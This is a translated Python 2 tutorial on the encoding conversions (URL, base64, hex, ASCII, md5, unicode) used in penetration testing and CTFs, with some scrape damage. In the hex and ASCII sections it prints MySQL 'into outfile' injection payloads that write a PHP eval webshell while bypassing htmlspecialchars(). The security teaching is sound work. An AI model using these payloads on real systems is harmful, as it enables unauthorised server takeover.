Detailed explanation of examples of encoding conversion in python

In daily penetration, vulnerability mining, and even CTF competitions, you will encounter various encodings, often accompanied by various conversions between these encodings. The following article mainly introduces the relevant information about the wonderful use of encoding conversion in Python. Friends who need it can refer to it. Let's take a look together.

Preface

I remember when I first started, the problem of encoding conversion was often "Baidu: url decoding, base64 encryption, hex... ", or use a software called "Xiaokui Multi-Function Conversion Tool", and then directly use the decoder function of Burpsuite, which feels quite good. However, we also encountered some problems: low online conversion efficiency (search takes up 2/3 of the time), and there are some minor problems with the two tools. For example, burp often displays garbled characters when it comes to Chinese characters.

Start the py conversion journey

url encoding

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

htmlspecialchars() function and write into the webshell.

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

>>> &#39;<?php @eval($_POST[a]); ?>&#39;.encode(&#39;hex&#39;)
&#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;
>>>
>>> print &#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;.decode(&#39;hex&#39;)
<?php @eval($_POST[a]); ?>
>>>

ASCii
## The

function in #MySQL converts ascii code. Because of this, you can also use this feature to bypass the htmlspecialchars() function.
For example:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

It is very simple to use python to convert a string into ascii, but reverse conversion requires a little operation:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print &#39;&#39;.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5
md5 is well known in the web security community. Due to its irreversibility, most websites often use md5 when storing key data such as user passwords. encryption. Sometimes we need md5 encryption to submit the payload. In this case, it can be easily achieved by using the following method. Of course, it is recommended to use cmd5 for decryption.

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode to Chinese
Unicode to Chinese conversion can be encountered in many situations. Especially when doing penetration testing. If you use burp, there will be a problem of garbled Chinese characters. It is very simple to implement under python.

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

Summary

The above is the detailed content of Detailed explanation of examples of encoding conversion in python. For more information, please follow other related articles on the PHP Chinese website!